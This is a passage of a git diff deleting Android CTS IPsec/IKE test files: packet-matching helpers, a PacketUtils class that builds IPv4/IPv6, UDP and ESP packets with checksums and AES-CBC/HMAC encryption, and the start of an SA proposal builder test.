-            boolean expectedUseEncap) {
-        int ipProtocolOffset = isIpv6(pkt) ? IP6_PROTO_OFFSET : IP4_PROTO_OFFSET;
-        int ikeOffset = getIkeOffset(pkt, expectedUseEncap);
-
-        return pkt[ipProtocolOffset] == IPPROTO_UDP
-                && expectedUseEncap == hasNonEspMarker(pkt)
-                && isExpectedSpiAndMsgId(
-                        pkt, ikeOffset, expectedInitIkeSpi, expectedMsgId, expectedResp);
-    }
-
-    private static boolean isExpectedIkeFragPkt(
-            byte[] pkt,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp,
-            boolean expectedUseEncap,
-            int expectedFragNum) {
-        return isExpectedIkePkt(
-                        pkt, expectedInitIkeSpi, expectedMsgId, expectedResp, expectedUseEncap)
-                && isExpectedFragNum(pkt, getIkeOffset(pkt, expectedUseEncap), expectedFragNum);
-    }
-
-    private static int getIkeOffset(byte[] pkt, boolean useEncap) {
-        if (isIpv6(pkt)) {
-            // IPv6 UDP expectedUseEncap not supported by kernels; assume non-expectedUseEncap.
-            return IP6_HDRLEN + UDP_HDRLEN;
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
-            return useEncap ? ikeOffset + NON_ESP_MARKER_LEN : ikeOffset;
-        }
-    }
-
-    private static boolean hasNonEspMarker(byte[] pkt) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
-        if (buffer.remaining() < ikeOffset) return false;
-
-        buffer.get(new byte[ikeOffset]); // Skip IP and UDP header
-        byte[] nonEspMarker = new byte[NON_ESP_MARKER_LEN];
-        if (buffer.remaining() < NON_ESP_MARKER_LEN) return false;
-
-        buffer.get(nonEspMarker);
-        return Arrays.equals(NON_ESP_MARKER, nonEspMarker);
-    }
-
-    private static boolean isExpectedSpiAndMsgId(
-            byte[] pkt,
-            int ikeOffset,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp) {
-        if (pkt.length <= ikeOffset + IKE_HEADER_LEN) return false;
-
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ikeOffset]); // Skip IP, UDP header (and NON_ESP_MARKER)
-        buffer.mark(); // Mark this position so that later we can reset back here
-
-        // Check SPI
-        buffer.get(new byte[IKE_INIT_SPI_OFFSET]);
-        long initSpi = buffer.getLong();
-        if (expectedInitIkeSpi != initSpi) {
-            return false;
-        }
-
-        // Check direction
-        buffer.reset();
-        buffer.get(new byte[IKE_IS_RESP_BYTE_OFFSET]);
-        byte flagsByte = buffer.get();
-        boolean isResp = ((flagsByte & RSP_FLAG_MASK) != 0);
-        if (expectedResp != isResp) {
-            return false;
-        }
-
-        // Check message ID
-        buffer.reset();
-        buffer.get(new byte[IKE_MSG_ID_OFFSET]);
-
-        // Both the expected message ID and the packet's msgId are signed integers, so directly
-        // compare them.
-        int msgId = buffer.getInt();
-        if (expectedMsgId != msgId) {
-            return false;
-        }
-
-        return true;
-    }
-
-    private static boolean isExpectedFragNum(byte[] pkt, int ikeOffset, int expectedFragNum) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ikeOffset]);
-        buffer.mark(); // Mark this position so that later we can reset back here
-
-        // Check if it is a fragment packet
-        buffer.get(new byte[IKE_FIRST_PAYLOAD_OFFSET]);
-        int firstPayload = Byte.toUnsignedInt(buffer.get());
-        if (firstPayload != IKE_PAYLOAD_TYPE_SKF) {
-            return false;
-        }
-
-        // Check fragment number
-        buffer.reset();
-        buffer.get(new byte[IKE_FRAG_NUM_OFFSET]);
-        int fragNum = Short.toUnsignedInt(buffer.getShort());
-        return expectedFragNum == fragNum;
-    }
-
-    public static class PortPair {
-        public final int srcPort;
-        public final int dstPort;
-
-        public PortPair(int sourcePort, int destinationPort) {
-            srcPort = sourcePort;
-            dstPort = destinationPort;
-        }
-    }
-
-    public static PortPair getSrcDestPortPair(byte[] outboundIkePkt) throws Exception {
-        return new PortPair(
-                getPort(outboundIkePkt, true /* shouldGetSource */),
-                getPort(outboundIkePkt, false /* shouldGetSource */));
-    }
-
-    private static InetAddress getAddress(byte[] pkt, boolean shouldGetSource) throws Exception {
-        int ipLen = isIpv6(pkt) ? IP6_ADDR_LEN : IP4_ADDR_LEN;
-        int srcIpOffset = isIpv6(pkt) ? IP6_ADDR_OFFSET : IP4_ADDR_OFFSET;
-        int ipOffset = shouldGetSource ? srcIpOffset : srcIpOffset + ipLen;
-
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        buffer.get(new byte[ipOffset]);
-        byte[] ipAddrBytes = new byte[ipLen];
-        buffer.get(ipAddrBytes);
-        return InetAddress.getByAddress(ipAddrBytes);
-    }
-
-    private static int getPort(byte[] pkt, boolean shouldGetSource) {
-        ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        int srcPortOffset = isIpv6(pkt) ? IP6_HDRLEN : IP4_HDRLEN;
-        int portOffset = shouldGetSource ? srcPortOffset : srcPortOffset + PORT_LEN;
-
-        buffer.get(new byte[portOffset]);
-        return Short.toUnsignedInt(buffer.getShort());
-    }
-
-    public static byte[] buildIkePacket(
-            InetAddress srcAddr,
-            InetAddress dstAddr,
-            int srcPort,
-            int dstPort,
-            boolean useEncap,
-            byte[] ikePacket)
-            throws Exception {
-        if (useEncap) {
-            ByteBuffer buffer = ByteBuffer.allocate(NON_ESP_MARKER_LEN + ikePacket.length);
-            buffer.put(NON_ESP_MARKER);
-            buffer.put(ikePacket);
-            ikePacket = buffer.array();
-        }
-
-        UdpHeader udpPkt = new UdpHeader(srcPort, dstPort, new BytePayload(ikePacket));
-        IpHeader ipPkt = getIpHeader(udpPkt.getProtocolId(), srcAddr, dstAddr, udpPkt);
-        return ipPkt.getPacketBytes();
-    }
-
-    private static IpHeader getIpHeader(
-            int protocol, InetAddress src, InetAddress dst, Payload payload) {
-        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
-            throw new IllegalArgumentException("Invalid src/dst address combination");
-        }
-
-        if (src instanceof Inet6Address) {
-            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
-        } else {
-            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
-        }
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java
deleted file mode 100644
index 5a4347b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/PacketUtils.java
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.system.OsConstants.IPPROTO_IPV6;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.nio.ShortBuffer;
-import java.security.GeneralSecurityException;
-import java.security.SecureRandom;
-import java.util.Arrays;
-
-import javax.crypto.Cipher;
-import javax.crypto.Mac;
-import javax.crypto.spec.IvParameterSpec;
-import javax.crypto.spec.SecretKeySpec;
-
-/**
- * This code is a exact copy of {@link PacketUtils} in
- * cts/tests/tests/net/src/android/net/cts/PacketUtils.java.
- *
- * <p>TODO(b/148689509): Statically include the PacketUtils source file instead of copying it.
- */
-public class PacketUtils {
-    private static final String TAG = PacketUtils.class.getSimpleName();
-
-    private static final int DATA_BUFFER_LEN = 4096;
-
-    static final int IP4_HDRLEN = 20;
-    static final int IP6_HDRLEN = 40;
-    static final int UDP_HDRLEN = 8;
-    static final int TCP_HDRLEN = 20;
-    static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
-
-    // Not defined in OsConstants
-    static final int IPPROTO_IPV4 = 4;
-    static final int IPPROTO_ESP = 50;
-
-    // Encryption parameters
-    static final int AES_GCM_IV_LEN = 8;
-    static final int AES_CBC_IV_LEN = 16;
-    static final int AES_GCM_BLK_SIZE = 4;
-    static final int AES_CBC_BLK_SIZE = 16;
-
-    // Encryption algorithms
-    static final String AES = "AES";
-    static final String AES_CBC = "AES/CBC/NoPadding";
-    static final String HMAC_SHA_256 = "HmacSHA256";
-
-    public interface Payload {
-        byte[] getPacketBytes(IpHeader header) throws Exception;
-
-        void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
-
-        short length();
-
-        int getProtocolId();
-    }
-
-    public abstract static class IpHeader {
-
-        public final byte proto;
-        public final InetAddress srcAddr;
-        public final InetAddress dstAddr;
-        public final Payload payload;
-
-        public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
-            this.proto = (byte) proto;
-            this.srcAddr = src;
-            this.dstAddr = dst;
-            this.payload = payload;
-        }
-
-        public abstract byte[] getPacketBytes() throws Exception;
-
-        public abstract int getProtocolId();
-    }
-
-    public static class Ip4Header extends IpHeader {
-        private short checksum;
-
-        public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
-            super(proto, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer resultBuffer = buildHeader();
-            payload.addPacketBytes(this, resultBuffer);
-
-            return getByteArrayFromBuffer(resultBuffer);
-        }
-
-        public ByteBuffer buildHeader() {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version, IHL
-            bb.put((byte) (0x45));
-
-            // DCSP, ECN
-            bb.put((byte) 0);
-
-            // Total Length
-            bb.putShort((short) (IP4_HDRLEN + payload.length()));
-
-            // Empty for Identification, Flags and Fragment Offset
-            bb.putShort((short) 0);
-            bb.put((byte) 0x40);
-            bb.put((byte) 0x00);
-
-            // TTL
-            bb.put((byte) 64);
-
-            // Protocol
-            bb.put(proto);
-
-            // Header Checksum
-            final int ipChecksumOffset = bb.position();
-            bb.putShort((short) 0);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            bb.putShort(ipChecksumOffset, calculateChecksum(bb));
-
-            return bb;
-        }
-
-        private short calculateChecksum(ByteBuffer bb) {
-            int checksum = 0;
-
-            // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
-            // aligned, so no special cases needed for unaligned values.
-            ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
-            while (shortBuffer.hasRemaining()) {
-                short val = shortBuffer.get();
-
-                // Wrap as needed
-                checksum = addAndWrapForChecksum(checksum, val);
-            }
-
-            return onesComplement(checksum);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV4;
-        }
-    }
-
-    public static class Ip6Header extends IpHeader {
-        public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
-            super(nextHeader, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version | Traffic Class (First 4 bits)
-            bb.put((byte) 0x60);
-
-            // Traffic class (Last 4 bits), Flow Label
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-
-            // Payload Length
-            bb.putShort((short) payload.length());
-
-            // Next Header
-            bb.put(proto);
-
-            // Hop Limit
-            bb.put((byte) 64);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            // Payload
-            payload.addPacketBytes(this, bb);
-
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV6;
-        }
-    }
-
-    public static class BytePayload implements Payload {
-        public final byte[] payload;
-
-        public BytePayload(byte[] payload) {
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return -1;
-        }
-
-        public byte[] getPacketBytes(IpHeader header) {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
-            resultBuffer.put(payload);
-        }
-
-        public short length() {
-            return (short) payload.length;
-        }
-    }
-
-    public static class UdpHeader implements Payload {
-
-        public final short srcPort;
-        public final short dstPort;
-        public final Payload payload;
-
-        public UdpHeader(int srcPort, int dstPort, Payload payload) {
-            this.srcPort = (short) srcPort;
-            this.dstPort = (short) dstPort;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_UDP;
-        }
-
-        public short length() {
-            return (short) (payload.length() + 8);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            // Source, Destination port
-            resultBuffer.putShort(srcPort);
-            resultBuffer.putShort(dstPort);
-
-            // Payload Length
-            resultBuffer.putShort(length());
-
-            // Get payload bytes for checksum + payload
-            ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            payload.addPacketBytes(header, payloadBuffer);
-            byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
-
-            // Checksum
-            resultBuffer.putShort(calculateChecksum(header, payloadBytes));
-
-            // Payload
-            resultBuffer.put(payloadBytes);
-        }
-
-        private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
-            int newChecksum = 0;
-            ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
-            ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
-
-            while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
-                short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
-
-                // Wrap as needed
-                newChecksum = addAndWrapForChecksum(newChecksum, val);
-            }
-
-            // Add pseudo-header values. Proto is 0-padded, so just use the byte.
-            newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-            newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-
-            ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
-            while (payloadShortBuffer.hasRemaining()) {
-                newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
-            }
-            if (payload.length() % 2 != 0) {
-                newChecksum =
-                        addAndWrapForChecksum(
-                                newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
-            }
-
-            return onesComplement(newChecksum);
-        }
-    }
-
-    public static class EspHeader implements Payload {
-        public final int nextHeader;
-        public final int spi;
-        public final int seqNum;
-        public final byte[] key;
-        public final byte[] payload;
-
-        /**
-         * Generic constructor for ESP headers.
-         *
-         * <p>For Tunnel mode, payload will be a full IP header + attached payloads
-         *
-         * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
-         * calculated using the pre-encryption IP header
-         */
-        public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
-            this.nextHeader = nextHeader;
-            this.spi = spi;
-            this.seqNum = seqNum;
-            this.key = key;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_ESP;
-        }
-
-        public short length() {
-            // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
-            return (short)
-                    calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            espPayloadBuffer.putInt(spi);
-            espPayloadBuffer.putInt(seqNum);
-            espPayloadBuffer.put(getCiphertext(key));
-
-            espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
-            resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
-        }
-
-        private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
-            Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
-            SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
-            sha256HMAC.init(authKey);
-
-            return sha256HMAC.doFinal(authenticatedSection);
-        }
-
-        /**
-         * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
-         *
-         * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
-         */
-        private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
-            int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
-            ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
-            paddedPayload.put(payload);
-
-            // Add padding - consecutive integers from 0x01
-            int pad = 1;
-            while (paddedPayload.position() < paddedPayload.limit()) {
-                paddedPayload.put((byte) pad++);
-            }
-
-            paddedPayload.position(paddedPayload.limit() - 2);
-            paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
-            paddedPayload.put((byte) nextHeader);
-
-            // Generate Initialization Vector
-            byte[] iv = new byte[AES_CBC_IV_LEN];
-            new SecureRandom().nextBytes(iv);
-            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
-            SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
-
-            // Encrypt payload
-            Cipher cipher = Cipher.getInstance(AES_CBC);
-            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
-            byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
-
-            // Build ciphertext
-            ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
-            cipherText.put(iv);
-            cipherText.put(encrypted);
-
-            return getByteArrayFromBuffer(cipherText);
-        }
-    }
-
-    private static int addAndWrapForChecksum(int currentChecksum, int value) {
-        currentChecksum += value & 0x0000ffff;
-
-        // Wrap anything beyond the first 16 bits, and add to lower order bits
-        return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
-    }
-
-    private static short onesComplement(int val) {
-        val = (val >>> 16) + (val & 0xffff);
-
-        if (val == 0) return 0;
-        return (short) ((~val) & 0xffff);
-    }
-
-    public static int calculateEspPacketSize(
-            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
-        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
-        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
-        payloadLen += cryptIvLength; // Initialization Vector
-
-        // Align to block size of encryption algorithm
-        payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
-        return payloadLen + ESP_HDRLEN + ICV_LEN;
-    }
-
-    private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
-        payloadLen += 2; // ESP trailer
-
-        // Align to block size of encryption algorithm
-        return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
-    }
-
-    private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
-        return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
-    }
-
-    private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
-        return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
-    }
-
-    /*
-     * Debug printing
-     */
-    private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
-
-    public static String bytesToHex(byte[] bytes) {
-        StringBuilder sb = new StringBuilder();
-        for (byte b : bytes) {
-            sb.append(hexArray[b >>> 4]);
-            sb.append(hexArray[b & 0x0F]);
-            sb.append(' ');
-        }
-        return sb.toString();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java
deleted file mode 100644
index e58a3fe..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_1024_BIT_MODP;
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_2048_BIT_MODP;
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_NONE;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_3DES;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_CBC;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_12;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_16;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_8;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_AES_XCBC_96;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA1_96;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_256_128;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_384_192;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_512_256;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_NONE;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_128;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_192;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_256;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_UNUSED;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_AES128_XCBC;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_HMAC_SHA1;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_256;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_384;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_512;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.net.ipsec.ike.ChildSaProposal;
-import android.net.ipsec.ike.IkeSaProposal;
-import android.util.Pair;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public class SaProposalTest {
-    private static final List<Pair<Integer, Integer>> NORMAL_MODE_CIPHERS = new ArrayList<>();
-    private static final List<Pair<Integer, Integer>> COMBINED_MODE_CIPHERS = new ArrayList<>();
-    private static final List<Integer> INTEGRITY_ALGOS = new ArrayList<>();
-    private static final List<Integer> DH_GROUPS = new ArrayList<>();
-    private static final List<Integer> DH_GROUPS_WITH_NONE = new ArrayList<>();
-    private static final List<Integer> PRFS = new ArrayList<>();
-
-    static {
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_3DES, KEY_LEN_UNUSED));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_128));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_192));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_256));
-
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_8, KEY_LEN_AES_128));
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_12, KEY_LEN_AES_192));
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_16, KEY_LEN_AES_256));
-
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA1_96);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_AES_XCBC_96);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_256_128);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_384_192);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_512_256);
-
-        DH_GROUPS.add(DH_GROUP_1024_BIT_MODP);
-        DH_GROUPS.add(DH_GROUP_2048_BIT_MODP);
-
-        DH_GROUPS_WITH_NONE.add(DH_GROUP_NONE);
-        DH_GROUPS_WITH_NONE.addAll(DH_GROUPS);
-
-        PRFS.add(PSEUDORANDOM_FUNCTION_HMAC_SHA1);
-        PRFS.add(PSEUDORANDOM_FUNCTION_AES128_XCBC);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_256);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_384);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_512);
-    }
-
-    // Package private
-    static IkeSaProposal buildIkeSaProposalWithNormalModeCipher() {
-        return buildIkeSaProposal(NORMAL_MODE_CIPHERS, INTEGRITY_ALGOS, PRFS, DH_GROUPS);
-    }
-
-    // Package private
-    static IkeSaProposal buildIkeSaProposalWithCombinedModeCipher() {
-        return buildIkeSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-    }
-
-    private static IkeSaProposal buildIkeSaProposalWithCombinedModeCipher(
-            boolean hasIntegrityNone) {
-        List<Integer> integerAlgos = new ArrayList<>();
-        if (hasIntegrityNone) {
-            integerAlgos.add(INTEGRITY_ALGORITHM_NONE);
-        }
-        return buildIkeSaProposal(COMBINED_MODE_CIPHERS, integerAlgos, PRFS, DH_GROUPS);
-    }
-
-    private static IkeSaProposal buildIkeSaProposal(
-            List<Pair<Integer, Integer>> ciphers,
-            List<Integer> integrityAlgos,
-            List<Integer> prfs,
-            List<Integer> dhGroups) {
-        IkeSaProposal.Builder builder = new IkeSaProposal.Builder();
-
-        for (Pair<Integer, Integer> pair : ciphers) {
-            builder.addEncryptionAlgorithm(pair.first, pair.second);
-        }
-        for (int algo : integrityAlgos) {
-            builder.addIntegrityAlgorithm(algo);
-        }
-        for (int algo : prfs) {
-            builder.addPseudorandomFunction(algo);
-        }
-        for (int algo : dhGroups) {
-            builder.addDhGroup(algo);
-        }
-
-        return builder.build();
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithNormalModeCipher() {
-        return buildChildSaProposal(NORMAL_MODE_CIPHERS, INTEGRITY_ALGOS, DH_GROUPS_WITH_NONE);
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithCombinedModeCipher() {
-        return buildChildSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-    }
-
-    private static ChildSaProposal buildChildSaProposalWithCombinedModeCipher(
-            boolean hasIntegrityNone) {
-        List<Integer> integerAlgos = new ArrayList<>();
-        if (hasIntegrityNone) {
-            integerAlgos.add(INTEGRITY_ALGORITHM_NONE);
-        }
-
-        return buildChildSaProposal(COMBINED_MODE_CIPHERS, integerAlgos, DH_GROUPS_WITH_NONE);
-    }
-
-    private static ChildSaProposal buildChildSaProposal(
-            List<Pair<Integer, Integer>> ciphers,
-            List<Integer> integrityAlgos,
-            List<Integer> dhGroups) {
-        ChildSaProposal.Builder builder = new ChildSaProposal.Builder();
-
-        for (Pair<Integer, Integer> pair : ciphers) {
-            builder.addEncryptionAlgorithm(pair.first, pair.second);
-        }
-        for (int algo : integrityAlgos) {
-            builder.addIntegrityAlgorithm(algo);
-        }
-        for (int algo : dhGroups) {
-            builder.addDhGroup(algo);
-        }
-
-        return builder.build();
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithOnlyCiphers() {
-        return buildChildSaProposal(
-                COMBINED_MODE_CIPHERS, Collections.EMPTY_LIST, Collections.EMPTY_LIST);
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithNormalModeCipher() {
-        IkeSaProposal saProposal = buildIkeSaProposalWithNormalModeCipher();
-
-        assertEquals(NORMAL_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(INTEGRITY_ALGOS, saProposal.getIntegrityAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithCombinedModeCipher() {
